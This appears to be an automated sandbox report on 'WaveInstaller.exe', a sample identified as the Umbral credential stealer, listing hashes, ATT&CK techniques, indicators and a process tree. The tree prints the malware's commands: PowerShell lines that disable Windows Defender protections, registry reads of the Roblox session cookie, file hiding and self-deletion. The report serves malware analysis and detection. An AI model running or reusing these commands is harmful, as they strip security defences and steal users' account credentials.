umbral | c4969a3f443dc0c21066c9b801a86d8802585ed708f209cd418d0252541884bd

Analysis

max time kernel
93s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
03-07-2024 18:39

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General

Target

WaveInstaller.exe
Size

229KB
MD5

7ca49c1e4deac51030961240dc071e44
SHA1

dbe976f4e1ca8476cf35105e214e98c071bdb601
SHA256

c4969a3f443dc0c21066c9b801a86d8802585ed708f209cd418d0252541884bd
SHA512

cb70825c4cebc592cfe281214f3a614a5a0eac78dac3cc0a5da7116b9d2eb5af718745067c0c7be3b2957c3ddade18416171863490d40c0bec8162e0322303ae
SSDEEP

6144:FloZMZrIkd8g+EtXHkv/iD4SpQvDJ6id1IJbGmTuOb8e1mBi:HoZ6L+EP8SpQvDJ6id1IJbGmT5D

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2168-0-0x000002F674120000-0x000002F674160000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3380	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	WaveInstaller.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4892	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4732	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2168	WaveInstaller.exe
3380	powershell.exe
3380	powershell.exe
3080	powershell.exe
3080	powershell.exe
2880	powershell.exe
2880	powershell.exe
4568	powershell.exe
4568	powershell.exe
3960	powershell.exe
3960	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	WaveInstaller.exe
Token: SeIncreaseQuotaPrivilege	2524	wmic.exe
Token: SeSecurityPrivilege	2524	wmic.exe
Token: SeTakeOwnershipPrivilege	2524	wmic.exe
Token: SeLoadDriverPrivilege	2524	wmic.exe
Token: SeSystemProfilePrivilege	2524	wmic.exe
Token: SeSystemtimePrivilege	2524	wmic.exe
Token: SeProfSingleProcessPrivilege	2524	wmic.exe
Token: SeIncBasePriorityPrivilege	2524	wmic.exe
Token: SeCreatePagefilePrivilege	2524	wmic.exe
Token: SeBackupPrivilege	2524	wmic.exe
Token: SeRestorePrivilege	2524	wmic.exe
Token: SeShutdownPrivilege	2524	wmic.exe
Token: SeDebugPrivilege	2524	wmic.exe
Token: SeSystemEnvironmentPrivilege	2524	wmic.exe
Token: SeRemoteShutdownPrivilege	2524	wmic.exe
Token: SeUndockPrivilege	2524	wmic.exe
Token: SeManageVolumePrivilege	2524	wmic.exe
Token: 33	2524	wmic.exe
Token: 34	2524	wmic.exe
Token: 35	2524	wmic.exe
Token: 36	2524	wmic.exe
Token: SeIncreaseQuotaPrivilege	2524	wmic.exe
Token: SeSecurityPrivilege	2524	wmic.exe
Token: SeTakeOwnershipPrivilege	2524	wmic.exe
Token: SeLoadDriverPrivilege	2524	wmic.exe
Token: SeSystemProfilePrivilege	2524	wmic.exe
Token: SeSystemtimePrivilege	2524	wmic.exe
Token: SeProfSingleProcessPrivilege	2524	wmic.exe
Token: SeIncBasePriorityPrivilege	2524	wmic.exe
Token: SeCreatePagefilePrivilege	2524	wmic.exe
Token: SeBackupPrivilege	2524	wmic.exe
Token: SeRestorePrivilege	2524	wmic.exe
Token: SeShutdownPrivilege	2524	wmic.exe
Token: SeDebugPrivilege	2524	wmic.exe
Token: SeSystemEnvironmentPrivilege	2524	wmic.exe
Token: SeRemoteShutdownPrivilege	2524	wmic.exe
Token: SeUndockPrivilege	2524	wmic.exe
Token: SeManageVolumePrivilege	2524	wmic.exe
Token: 33	2524	wmic.exe
Token: 34	2524	wmic.exe
Token: 35	2524	wmic.exe
Token: 36	2524	wmic.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3416	wmic.exe
Token: SeSecurityPrivilege	3416	wmic.exe
Token: SeTakeOwnershipPrivilege	3416	wmic.exe
Token: SeLoadDriverPrivilege	3416	wmic.exe
Token: SeSystemProfilePrivilege	3416	wmic.exe
Token: SeSystemtimePrivilege	3416	wmic.exe
Token: SeProfSingleProcessPrivilege	3416	wmic.exe
Token: SeIncBasePriorityPrivilege	3416	wmic.exe
Token: SeCreatePagefilePrivilege	3416	wmic.exe
Token: SeBackupPrivilege	3416	wmic.exe
Token: SeRestorePrivilege	3416	wmic.exe
Token: SeShutdownPrivilege	3416	wmic.exe
Token: SeDebugPrivilege	3416	wmic.exe
Token: SeSystemEnvironmentPrivilege	3416	wmic.exe
Token: SeRemoteShutdownPrivilege	3416	wmic.exe
Token: SeUndockPrivilege	3416	wmic.exe
Token: SeManageVolumePrivilege	3416	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2524	2168	WaveInstaller.exe	81
PID 2168 wrote to memory of 2524	2168	WaveInstaller.exe	81
PID 2168 wrote to memory of 1428	2168	WaveInstaller.exe	84
PID 2168 wrote to memory of 1428	2168	WaveInstaller.exe	84
PID 2168 wrote to memory of 3380	2168	WaveInstaller.exe	86
PID 2168 wrote to memory of 3380	2168	WaveInstaller.exe	86
PID 2168 wrote to memory of 3080	2168	WaveInstaller.exe	88
PID 2168 wrote to memory of 3080	2168	WaveInstaller.exe	88
PID 2168 wrote to memory of 2880	2168	WaveInstaller.exe	90
PID 2168 wrote to memory of 2880	2168	WaveInstaller.exe	90
PID 2168 wrote to memory of 4568	2168	WaveInstaller.exe	92
PID 2168 wrote to memory of 4568	2168	WaveInstaller.exe	92
PID 2168 wrote to memory of 3416	2168	WaveInstaller.exe	94
PID 2168 wrote to memory of 3416	2168	WaveInstaller.exe	94
PID 2168 wrote to memory of 2724	2168	WaveInstaller.exe	96
PID 2168 wrote to memory of 2724	2168	WaveInstaller.exe	96
PID 2168 wrote to memory of 4464	2168	WaveInstaller.exe	98
PID 2168 wrote to memory of 4464	2168	WaveInstaller.exe	98
PID 2168 wrote to memory of 3960	2168	WaveInstaller.exe	100
PID 2168 wrote to memory of 3960	2168	WaveInstaller.exe	100
PID 2168 wrote to memory of 4892	2168	WaveInstaller.exe	102
PID 2168 wrote to memory of 4892	2168	WaveInstaller.exe	102
PID 2168 wrote to memory of 4012	2168	WaveInstaller.exe	104
PID 2168 wrote to memory of 4012	2168	WaveInstaller.exe	104
PID 4012 wrote to memory of 4732	4012	cmd.exe	106
PID 4012 wrote to memory of 4732	4012	cmd.exe	106

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1428	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2524
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"
  2⤵
  - Views/modifies file attributes
  PID:1428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2724
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
dcd83f3a9bd52a6c0821eb961e87f0b9

SHA1
553ced8b5bdca9bf3379571948efe530628e78ea

SHA256
da3851259b355076f41331c3864fdcd7688b05ca312f6fcdb420f710ed7cfeaa

SHA512
fd76f13f1c8f1e73be04a615c9b010dde5cbf889642d187d410db32d4fdda9d0e994654fa468643ed8fe7563c07a8d1df30b2f5b26856946ed9b2d18d10a4fa5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
de4f7c2df5d0afaa682f5e4a494e12d7

SHA1
47d56eb5998fd84c35b360a7f864fd688c2d97cf

SHA256
47912a16af75b14040ce0742d7253fa37a9ca407f486903d9dd8df55c6b54fa6

SHA512
57eab2d3e61ab641ddb9efd9127de1266bc5cbca5185499d17c0110a5d5c47346571ba64c33eefe1d19c91b8445458850f6c6971c7e0d4581810550b846828a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
52bdac1dd17fea95f4161f342aa8a5b7

SHA1
b57f08eb80f1792bae9f3fc877dd39ccea537e32

SHA256
43da49e388166903a7892116d6852d08e31ba8b9aedf9a0a01774227313dc29e

SHA512
303ef2712a514bb8c0743df68996ce66fc88d4d99320d9a315ec53e138bc12942895b20979129c66e782afcc5ff0cbc017929c3b7e9a170e727526b4ea3dd506

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pzavukb5.gft.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2168-34-0x000002F675F20000-0x000002F675F3E000-memory.dmp

Filesize
120KB

Download
memory/2168-1-0x00007FFFF3A33000-0x00007FFFF3A35000-memory.dmp

Filesize
8KB

Download
memory/2168-32-0x000002F6768E0000-0x000002F676956000-memory.dmp

Filesize
472KB

Download
memory/2168-33-0x000002F675F50000-0x000002F675FA0000-memory.dmp

Filesize
320KB

Download
memory/2168-2-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

Filesize
10.8MB

Download
memory/2168-69-0x000002F6747C0000-0x000002F6747CA000-memory.dmp

Filesize
40KB

Download
memory/2168-70-0x000002F675FA0000-0x000002F675FB2000-memory.dmp

Filesize
72KB

Download
memory/2168-0-0x000002F674120000-0x000002F674160000-memory.dmp

Filesize
256KB

Download
memory/2168-86-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

Filesize
10.8MB

Download
memory/3380-17-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

Filesize
10.8MB

Download
memory/3380-8-0x000002286AFA0000-0x000002286AFC2000-memory.dmp

Filesize
136KB

Download
memory/3380-11-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

Filesize
10.8MB

Download
memory/3380-9-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

Filesize
10.8MB

Download